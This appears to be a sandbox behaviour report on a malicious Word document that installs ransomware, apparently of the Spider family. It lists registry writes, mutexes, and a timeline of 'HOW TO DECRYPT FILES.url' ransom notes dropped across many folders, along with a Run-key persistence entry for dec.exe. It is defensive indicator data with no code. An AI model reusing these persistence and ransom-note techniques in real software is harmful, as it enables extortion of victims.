\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LCCache\WordDocParts\1033\		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LCCache\SmartArt		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LCCache\SmartArt\1033\		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\Common\Offline\Files		Create

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\ReviewCycle		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\90C83C		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage		Create
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage		Create
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Registration		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Registration\JMQFW2905173950\{71AF7E84-93E6-4363-9B69-699E04E74071}		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\Licensing		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Registration\JMQFW2905173950\{91140000-0011-0000-0000-0000000FF1CE}		Create
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 0		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Shared Tools\Proofing Tools\Grammar\MSGrammar\3.0\1033\Option Set 1		Create
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\	e<	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages\1033	Off	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages\1033	On	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\WORDFiles	1267400708	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\ProductFiles	1267400712	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\ProductFiles	1267400713	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\MTTT	NULL	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems*k<	NULL	Set

\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\sl<	NULL	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\"l<	NULL	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004119110000000000000000F01FEC\Usage\VBAFiles	1267400705	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet	0	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect	1	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems\cn<	NULL	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\ReviewCycle\ReviewToken	{C861BC27-6742-481A-BA51-707844DE7541}	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Place MRU\Max Display	25	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Place MRU\Item 1	[F00000000][T01D37257B63B30D0] [O00000000]*C:\Users\Administrator\	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Max Display	25	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 1	[F00000000][T01D37257B63C1B30] [O00000000]*C:\Users\Administrator\sample.doc	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 2	[F00000000][T01D36EFB8882DA80] [O00000000]*C:\Users\Administrator\Documents\QCiZnH8AOZ.doc	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 3	[F00000000][T01D36E8FB0D4EF80] [O00000000]*C:\Users\Administrator\Documents\PUB.docm	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 4	[F00000000][T01D36B99DD3FF180] [O00000000]*C:\Users\Administrator\Documents\uGzBcgWC.docx	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 5	[F00000000][T01D369A16809CC00] [O00000000]*C:\Users\Administrator\Documents\i0p.docm	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 6	[F00000000][T01D361E3D43B4180] [O00000000]*C:\Users\Administrator\Documents\6a.docx	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 7	[F00000000][T01D361AE67F21B00] [O00000000]*C:\Users\Administrator\Documents\z.docx	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 8	[F00000000][T01D35EFB3867B800] [O00000000]*C:\Users\Administrator\Documents\7IX449XWY6G.docx	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\File MRU\Item 9	[F00000000][T01D35ACF3357D280] [O00000000]*C:\Users\Administrator\Documents\xwtBKGhu.docm	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\90C83C\90C83C	NULL	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082	1267400709	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082	1267400710	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400709	Set

\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400710	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400714	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400715	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082	1267400711	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage\SpellingAndGrammarFiles_3082	1267400712	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400711	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage\SpellingAndGrammarFiles_1036	1267400712	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400716	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400717	Set
\REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Office\14.0\Common\Licensing\019C826E445A4649A5B00BF08FCC4EEE	NULL	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400718	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400719	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400720	Set
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage\SpellingAndGrammarFiles_1033	1267400721	Set

Created Mutexes

Mutex Name
<NULL>
Local\10MU_ACBPIDS_S-1-5-5-0-63423
Local\10MU_ACB10_S-1-5-5-0-63423
Global\552FFA80-3393-423d-8671-7BA046BB5906

Local\ZonesCounterMutex
Local\ZoneAttributeCacheCounterMutex
Local\ZonesCacheCounterMutex
Local\ZonesLockedCacheCounterMutex
Global\MTX_MSO_Formal1_S-1-5-21-3946836232-3129958654-3972794008-500
Global\MTX_MSO_AdHoc1_S-1-5-21-3946836232-3129958654-3972794008-500

Event Timeline

1	Created Process C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
2	Created mutex
3	Created mutex
4	Created mutex SpiderForm
5	Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3946836232-3129958654-3972794008-500\dda89678556007d9e7fbf0761a8babc4_8a8c3819-1997-486b-b092-3ed9cbc54b1e
6	Created file C:\Users\Qr2xkN\AppData\Roaming\Spider\id.txt
7	Created file C:\HOW TO DECRYPT FILES.url
8	Created file C:\$Recycle.Bin\S-1-5-21-3946836232-3129958654-3972794008-500\HOW TO DECRYPT FILES.url
9	Created file C:\Users\Qr2xkN\AppData\Roaming\Spider\files.txt
10	Deleted file C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3946836232-3129958654-3972794008-500\dda89678556007d9e7fbf0761a8babc4_8a8c3819-1997-486b-b092-3ed9cbc54b1e
11	Created file C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
12	Created file C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
13	Created file C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
14	Created file C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
15	Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup
16	Created file C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
17	Created file C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
18	Created file C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\HOW TO DECRYPT FILES.url
19	Created file C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\HOW TO DECRYPT FILES.url
20	Created file C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\HOW TO DECRYPT FILES.url
21	Created file C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
22	Created file C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
23	Created file C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
24	Created file C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
25	Created file C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\HOW TO DECRYPT FILES.url
26	Created file C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
27	Created file C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url
28	Created file C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\HOW TO DECRYPT FILES.url

29 Created file C:\MSOCache\All Users\{91140000-0011-0000-0000-0000000FF1CE}-C\HOW TO DECRYPT FILES.url

30 Created file C:\Recovery\faf8d11e-90db-11e7-8fe6-e237562617ba\HOW TO DECRYPT FILES.url

31 Created file C:\SWSetup\SP65805\HOW TO DECRYPT FILES.url

32 Created file C:\SWSetup\SP65805\VistaXP\HOW TO DECRYPT FILES.url

33 Created file C:\SWSetup\SP65805\Win7\HOW TO DECRYPT FILES.url

34 Created file C:\SWSetup\SP65805\Win7\amd64\HOW TO DECRYPT FILES.url

35 Created file C:\SWSetup\SP65805\Win7\Packet\HOW TO DECRYPT FILES.url

36 Created file C:\SWSetup\SP65805\Win7\x86\HOW TO DECRYPT FILES.url

37 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

38 Created file C:\SWSetup\SP65805\Win7\x86\System32\HOW TO DECRYPT FILES.url

39 Created file C:\SWSetup\SP66089\HOW TO DECRYPT FILES.url

40 Created file C:\SWSetup\SP66089\drivers\Win7\x64\HOW TO DECRYPT FILES.url

41 Created file C:\SWSetup\SP66089\drivers\Win7\x86\HOW TO DECRYPT FILES.url

42 Created file C:\SWSetup\SP66089\drivers\Win8\x64\HOW TO DECRYPT FILES.url

43 Created file C:\SWSetup\SP66089\drivers\Win8\x86\HOW TO DECRYPT FILES.url

44 Created file C:\SWSetup\SP66089\drivers\WinVista\x64\HOW TO DECRYPT FILES.url

45 Created file C:\SWSetup\SP66089\drivers\WinVista\x86\HOW TO DECRYPT FILES.url

46 Created file C:\SWSetup\SP66089\drivers\WinXP\x64\HOW TO DECRYPT FILES.url

47 Created file C:\SWSetup\SP66089\drivers\WinXP\x86\HOW TO DECRYPT FILES.url

48 Created file C:\Users\HOW TO DECRYPT FILES.url

49 Created file C:\Users\Administrator\HOW TO DECRYPT FILES.url

50 Created file C:\Users\Administrator\3rd\HOW TO DECRYPT FILES.url

51 Created file C:\Users\Administrator\AppData\Local\HOW TO DECRYPT FILES.url

52 Created file C:\Users\Administrator\AppData\Local\bluesoleil\HOW TO DECRYPT FILES.url

53 Created file C:\Users\Administrator\AppData\Local\Google\Chrome\Application\HOW TO DECRYPT FILES.url

54 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds\HOW TO DECRYPT FILES.url

55 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds\Feeds for United States~\HOW TO DECRYPT FILES.url

56 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\HOW TO DECRYPT FILES.url

57 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~\HOW TO DECRYPT FILES.url

58 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds Cache\HOW TO DECRYPT FILES.url

59 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds Cache\2MCHMQO4\HOW TO DECRYPT FILES.url

60 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds Cache\K5F5N5VE\HOW TO DECRYPT FILES.url

61 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds Cache\RHXDZL8E\HOW TO DECRYPT FILES.url

62 Created file C:\Users\Administrator\AppData\Local\Microsoft\Feeds Cache\XRY4UY7F\HOW TO DECRYPT FILES.url

63 Created file C:\Users\Administrator\AppData\Local\Microsoft\Internet Explorer\HOW TO DECRYPT FILES.url

64 Created file C:\Users\Administrator\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\HOW TO DECRYPT FILES.url

65 Created file C:\Users\Administrator\AppData\Local\Microsoft\Media Player\HOW TO DECRYPT FILES.url

66 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

67 Created file C:\Users\Administrator\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00004016\HOW TO DECRYPT FILES.url

68 Created file C:\Users\Administrator\AppData\Local\Microsoft\Windows Media\12.0\HOW TO DECRYPT FILES.url

69 Created file C:\Users\Administrator\AppData\Local\Microsoft\Windows Sidebar\HOW TO DECRYPT FILES.url

70 Created file C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\1zzfgr18.default\cache2\HOW TO DECRYPT FILES.url

71 Created file C:\Users\Administrator\AppData\LocalLow\HOW TO DECRYPT FILES.url

72 Created file C:\Users\Administrator\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\HOW TO DECRYPT FILES.url

73 Created file C:\Users\Administrator\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\HOW TO DECRYPT FILES.url

74 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\AddIns\HOW TO DECRYPT FILES.url

75 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3946836232-3129958654-3972794008-500\HOW TO DECRYPT FILES.url

76 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\HOW TO DECRYPT FILES.url

77 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART\HOW TO DECRYPT FILES.url

78 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\HOW TO DECRYPT FILES.url

79 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\HOW TO DECRYPT FILES.url

80 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Office\HOW TO DECRYPT FILES.url

81 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\HOW TO DECRYPT FILES.url

82 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\HOW TO DECRYPT FILES.url

83 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3946836232-3129958654-3972794008-500\HOW TO DECRYPT FILES.url

84 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Templates\HOW TO DECRYPT FILES.url

85 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\UProof\HOW TO DECRYPT FILES.url

86 Created file C:\Users\Administrator\AppData\Roaming\Microsoft\Word\STARTUP\HOW TO DECRYPT FILES.url

87 Created file C:\Users\Administrator\Contacts\HOW TO DECRYPT FILES.url

88 Created file C:\Users\Administrator\Desktop\HOW TO DECRYPT FILES.url

89 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

90 Created file C:\Users\Administrator\Documents\HOW TO DECRYPT FILES.url

91 Created file C:\Users\Administrator\Documents\Bluetooth\Share\HOW TO DECRYPT FILES.url

92 Created file C:\Users\Administrator\Downloads\HOW TO DECRYPT FILES.url

93 Created file C:\Users\Administrator\Favorites\HOW TO DECRYPT FILES.url

94 Created file C:\Users\Administrator\Favorites\Links\HOW TO DECRYPT FILES.url

95 Created file C:\Users\Administrator\Favorites\Links for United States\HOW TO DECRYPT FILES.url

96 Created file C:\Users\Administrator\Favorites\Microsoft Websites\HOW TO DECRYPT FILES.url

97 Created file C:\Users\Administrator\Favorites\MSN Websites\HOW TO DECRYPT FILES.url

98 Created file C:\Users\Administrator\Favorites\Windows Live\HOW TO DECRYPT FILES.url

99 Created file C:\Users\Administrator\Kernel\HOW TO DECRYPT FILES.url

100 Created file C:\Users\Administrator\Kernel\PAN\HOW TO DECRYPT FILES.url

101 Created file C:\Users\Administrator\Links\HOW TO DECRYPT FILES.url

102 Created file C:\Users\Administrator\Music\HOW TO DECRYPT FILES.url

103 Created file C:\Users\Administrator\Pictures\HOW TO DECRYPT FILES.url

104 Created file C:\Users\Administrator\Saved Games\HOW TO DECRYPT FILES.url

105 Created file C:\Users\Administrator\Searches\HOW TO DECRYPT FILES.url

106 Created file C:\Users\All Users\Adobe\Acrobat\11.0\Replicate\Security\HOW TO DECRYPT FILES.url

107 Created file C:\Users\All Users\Microsoft\Assistance\Client\1.0\en-US\HOW TO DECRYPT FILES.url

108 Created file C:\Users\All Users\Microsoft\Crypto\RSA\S-1-5-18\HOW TO DECRYPT FILES.url

109 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

110 Created file C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\HOW TO DECRYPT FILES.url

111 Created file C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\HOW TO DECRYPT FILES.url

112 Created file C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\HOW TO DECRYPT FILES.url

113 Created file C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\HOW TO DECRYPT FILES.url

114 Created file C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\HOW TO DECRYPT FILES.url

115 Created file C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\HOW TO DECRYPT FILES.url

116 Created file C:\Users\All Users\Microsoft\IdentityCRL\HOW TO DECRYPT FILES.url

117 Created file C:\Users\All Users\Microsoft\MF\HOW TO DECRYPT FILES.url

118 Created file C:\Users\All Users\Microsoft\Network\Downloader\HOW TO DECRYPT FILES.url

119 Created file C:\Users\All Users\Microsoft\OFFICE\HOW TO DECRYPT FILES.url

120 Created file C:\Users\All Users\Microsoft\OFFICE\UICaptions\1036\HOW TO DECRYPT FILES.url

121 Created file C:\Users\All Users\Microsoft\OFFICE\UICaptions\3082\HOW TO DECRYPT FILES.url

122 Created file C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\HOW TO DECRYPT FILES.url

123 Created file C:\Users\All Users\Microsoft\OfficeSoftwareProtectionPlatform\Cache\HOW TO DECRYPT FILES.url

124 Created file C:\Users\All Users\Microsoft\RAC\PublishedData\HOW TO DECRYPT FILES.url

125 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

126 Created file C:\Users\All Users\Microsoft\RAC\StateData\HOW TO DECRYPT FILES.url

127 Created file C:\Users\All Users\Microsoft\User Account Pictures\HOW TO DECRYPT FILES.url

128 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

129 Created file C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\HOW TO DECRYPT FILES.url

130 Created file C:\Users\All Users\Microsoft\Windows Defender\Definition Updates\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\HOW TO DECRYPT FILES.url

131 Created file C:\Users\All Users\Microsoft\Windows Defender\Support\HOW TO DECRYPT FILES.url

132 Created file C:\Users\All Users\Microsoft\Windows NT\MSFax\Common Coverpages\en-US\HOW TO DECRYPT FILES.url

133 Created file C:\Users\All Users\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\HOW TO DECRYPT FILES.url

134 Created file C:\Users\All Users\Microsoft\Windows NT\MSScan\HOW TO DECRYPT FILES.url

135 Created file C:\Users\All Users\Microsoft\Wlansvc\Profiles\Interfaces\{40C94816-FDDC-413A-B56A-9EC34C30E8A1}\HOW TO DECRYPT FILES.url

136 Created file C:\Users\All Users\Microsoft Help\HOW TO DECRYPT FILES.url

137 Created file C:\Users\All Users\Package Cache\42D5BEC7DDFBD49E76467529CBC2868987BF8460\packages\Patch\x64\HOW TO DECRYPT FILES.url

138 Created file C:\Users\All Users\Package Cache\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\packages\Patch\x64\HOW TO DECRYPT FILES.url

139 Created file C:\Users\All Users\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\packages\vcRuntimeMinimum_x86\HOW TO DECRYPT FILES.url

140 Created file C:\Users\All Users\Package Cache\{21134089-9B59-34C8-BE11-929D26AD5207}v14.0.24123\packages\vcRuntimeAdditional_amd64\HOW TO DECRYPT FILES.url

141 Created file C:\Users\All Users\Package Cache\{2cbcedbb-f38c-48a3-a3e1-6c6fd821a7f4}\HOW TO DECRYPT FILES.url

142 Created file C:\Users\All Users\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\HOW TO DECRYPT FILES.url

143 Created file C:\Users\All Users\Package Cache\{74d0e5db-b326-4dae-a6b2-445b9de1836e}\HOW TO DECRYPT FILES.url

144 Created file C:\Users\All Users\Package Cache\{A2563E55-3BEC-3828-8D67-E5E8B9E8B675}v14.0.23026\packages\vcRuntimeMinimum_x86\HOW TO DECRYPT FILES.url

145 Created file C:\Users\All Users\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\vcRuntimeAdditional_x86\HOW TO DECRYPT FILES.url

146 Created file C:\Users\All Users\Package Cache\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\packages\vcRuntimeMinimum_x86\HOW TO DECRYPT FILES.url

147 Created file C:\Users\All Users\Package Cache\{BE960C1C-7BAD-3DE6-8B1A-2616FE532845}v14.0.23026\packages\vcRuntimeAdditional_x86\HOW TO DECRYPT FILES.url

148 Created file C:\Users\All Users\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\HOW TO DECRYPT FILES.url

149 Created file C:\Users\All Users\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\packages\vcRuntimeAdditional_x86\HOW TO DECRYPT FILES.url

150 Created file C:\Users\All Users\Package Cache\{FDBE9DB4-7A91-3A28-B27E-705EF7CFAE57}v14.0.24123\packages\vcRuntimeMinimum_amd64\HOW TO DECRYPT FILES.url

151 Created file C:\Users\All Users\Ralink Driver\RT2860 Wireless LAN Card\Driver\HOW TO DECRYPT FILES.url

152 Created file C:\Users\All Users\Ralink Driver\RT2860 Wireless LAN Card\Res\HOW TO DECRYPT FILES.url

153 Created file C:\Users\All Users\Ralink Driver\RT2860 Wireless LAN Card\RT\HOW TO DECRYPT FILES.url

